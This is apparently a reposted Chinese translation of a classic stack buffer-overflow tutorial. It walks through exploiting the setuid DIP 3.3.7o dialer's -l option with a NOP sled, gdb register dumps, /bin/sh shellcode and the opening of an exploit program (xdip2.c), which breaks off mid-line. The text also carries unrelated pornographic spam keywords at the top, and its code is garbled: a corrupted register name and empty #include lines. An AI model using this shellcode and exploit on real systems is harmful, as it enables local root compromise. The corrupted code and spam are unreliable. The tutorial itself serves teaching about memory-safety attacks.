欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

緩沖區(qū)溢出解密四

互聯(lián)網(wǎng)   發(fā)布時(shí)間:2008-10-08 19:04:01   作者:佚名   我要評論
來自Aleph1的文章: “可見這不是一個(gè)有效的過程。甚至在知道堆棧開始的位置時(shí),試圖猜測偏移地址幾乎是不可能的。好的情況下我會(huì)需要上百次嘗試,壞的情況下會(huì)要上千次。問題是我們需要*準(zhǔn)確*的猜測出我們代碼將開始的地址位置。如果我們偏了大概一個(gè)字

來自Aleph1的文章:
“可見這不是一個(gè)有效的過程。甚至在知道堆棧開始的位置時(shí),試圖猜測偏移地址幾乎是不可能的。好的情況下我會(huì)需要上百次嘗試,壞的情況下會(huì)要上千次。問題是我們需要*準(zhǔn)確*的猜測出我們代碼將開始的地址位置。如果我們偏了大概一個(gè)字節(jié),我們將得到一個(gè)段侵犯或者無效指令。一個(gè)提高我們機(jī)會(huì)的方法是在我們溢出緩沖區(qū)開頭填NOP指令。幾乎所有的處理器都有NOP指令執(zhí)行一個(gè)空操作。它經(jīng)常被用來為了時(shí)間目的延遲執(zhí)行。我們將利用它,并且用它們填充我們一半的溢出緩沖區(qū)。我們將在中間放置我們的shellcode,接著在它后面跟著返回地址。如果我們走運(yùn),而返回地址指向NOP字符串的任何位置,它們將被執(zhí)行直到它們遇到我們的代碼。在Intel構(gòu)架中,NOP指令是1個(gè)字節(jié)長在機(jī)器碼中它轉(zhuǎn)換成0x90。假設(shè)堆棧從地址0xFF開始,S表示shell代碼,N表示一個(gè)NOP指令,新的堆??赡芸雌饋硐筮@樣:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfp ret a b c
這里,我們*猜測*地址。通過下面的子程序我們得到了當(dāng)前存儲(chǔ)在ESP寄存器中的地址:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
有了上面這個(gè)函數(shù)的幫助,我們可以有一個(gè)內(nèi)存中堆棧指針可能在哪兒的*想法*。接著,我們從這個(gè)SP的地址中減去偏移量。如果我們足夠幸運(yùn)的話,我們可以猜到緩沖區(qū)中一個(gè)NOP的地址。(然而,注意到getesp()不返回漏洞程序的ESP。它是我們漏洞利用程序的ESP。它僅僅考慮了一個(gè)范圍。)
為了闡明這兩個(gè)方法的不同之處,讓我們寫兩個(gè)漏洞利用程序,應(yīng)用一下目前為止我們所學(xué)的。
漏洞利用程序
現(xiàn)在我們知道了,什么是緩沖區(qū)溢出,知道如何利用緩沖區(qū)溢出覆蓋返回地址,知道我們怎樣能修改一個(gè)函數(shù)的返回地址,不必多說了。讓我們編寫漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一個(gè)緩沖區(qū)溢出漏洞。在一些Linux發(fā)布版本中這個(gè)程序是默認(rèn)setuid。
這個(gè)-l選項(xiàng)是有問題的。dip代碼沒有小心處理這個(gè)作為由用戶傳給程序的一個(gè)參數(shù)的值,沒有邊界檢測,它僅僅stpcpy()作為參數(shù)的任何內(nèi)容給一些本地緩沖區(qū),這些緩沖區(qū)只能存有限的數(shù)據(jù);因此增加了一個(gè)緩沖區(qū)溢出的風(fēng)險(xiǎn)。
漏洞代碼如:
l = stpcpy(l, argv[i]);
如果你看stpcpy的手冊頁($man 3 stpcpy);stpcpy,不考慮它所處理的緩沖區(qū)的邊界,它把整個(gè)數(shù)組拷貝給另外一個(gè)。這里我們需要做的是:

1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的緩沖區(qū),接著放置你的shellcode和猜測一個(gè)NOP或者shellcode本身的地址。2.在我們的方法中,由于我們準(zhǔn)確的知道我們shellcode在內(nèi)存中的位置,我們僅僅拷貝這個(gè)地址到整個(gè)數(shù)組。
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
從上面可以看到,當(dāng)我們寫29個(gè)ABCD(29 * 4 = 116字節(jié))什么都沒有發(fā)生,然而當(dāng)我們寫30個(gè)ABCD(30 * 4 = 120 bytes)的時(shí)候,程序出現(xiàn)了段侵犯。它沒有core dump,因?yàn)槌绦蚴莝etuid root權(quán)限的。讓我們成為root,看看當(dāng)我們給-l選項(xiàng)提供一個(gè)120字節(jié)的字符串時(shí)會(huì)發(fā)生什么:
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax 0xb4 180
ecx 0xb4 180
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x41444342 0x41444342
esi 0x4 4
edi 0x805419e 134562206
eip 0x444342 0x444342
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) 從這里可以看出,堆棧指針(ESP)和這個(gè)被保護(hù)的返回地址被我們的字符串”ABCD”覆蓋了。在Ascii中:
A is 0x41, B is 0x42, C is 0x43, D is 0x44
注意到基本指針寄存器,它是:
ebp 0x41444342 0x41444342
這里的值是ADCB。這也意味著我們不能排列這個(gè)字符串。我們需要把字符串左移一個(gè)字節(jié),這樣ABCD適合一個(gè)4字節(jié)內(nèi)存單元。這樣的話:
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax 0xb5 181
ecx 0xb5 181
edx 0x0 0
ebx 0x1 1
esp 0xbffffcd4 0xbffffcd4
ebp 0x44434241 0x44434241
esi 0x4 4
edi 0x805419e 134562206
eip 0x44434241 0x44434241
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
可以看到,我們多加了一個(gè)A到我們的緩沖區(qū)開頭,這樣現(xiàn)在EIP和EBP寄存器都是:0x44434241,即我們可以校正我們的字符串了。 我將寫兩個(gè)漏洞利用程序。每一個(gè)將用一個(gè)不同的方法。第一個(gè)將是”經(jīng)典技術(shù)”而另外一個(gè)將是環(huán)境變量技術(shù)。你比較這兩個(gè)時(shí),你將很容易地看出之間的不同,并且明白沒有必要去嘗試猜測奇怪的偏移。請注意,環(huán)境變量方法只有當(dāng)是本地漏洞的時(shí)候才有用。
這里是用經(jīng)典方法的:
xdip2.c :
#include
#include
#include
#include
#define BUF 130
#define NOP 0x90
#define ALIGN 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc
讓我詳細(xì)說明這個(gè)漏洞利用程序:
我們定義我們的緩沖區(qū)為130個(gè)字節(jié)長,因?yàn)橐粋€(gè)121字節(jié)的數(shù)組對于我們來說是足夠了,定義NULL操作指令的運(yùn)算碼為0x90,Alignment為1。

相關(guān)文章

最新評論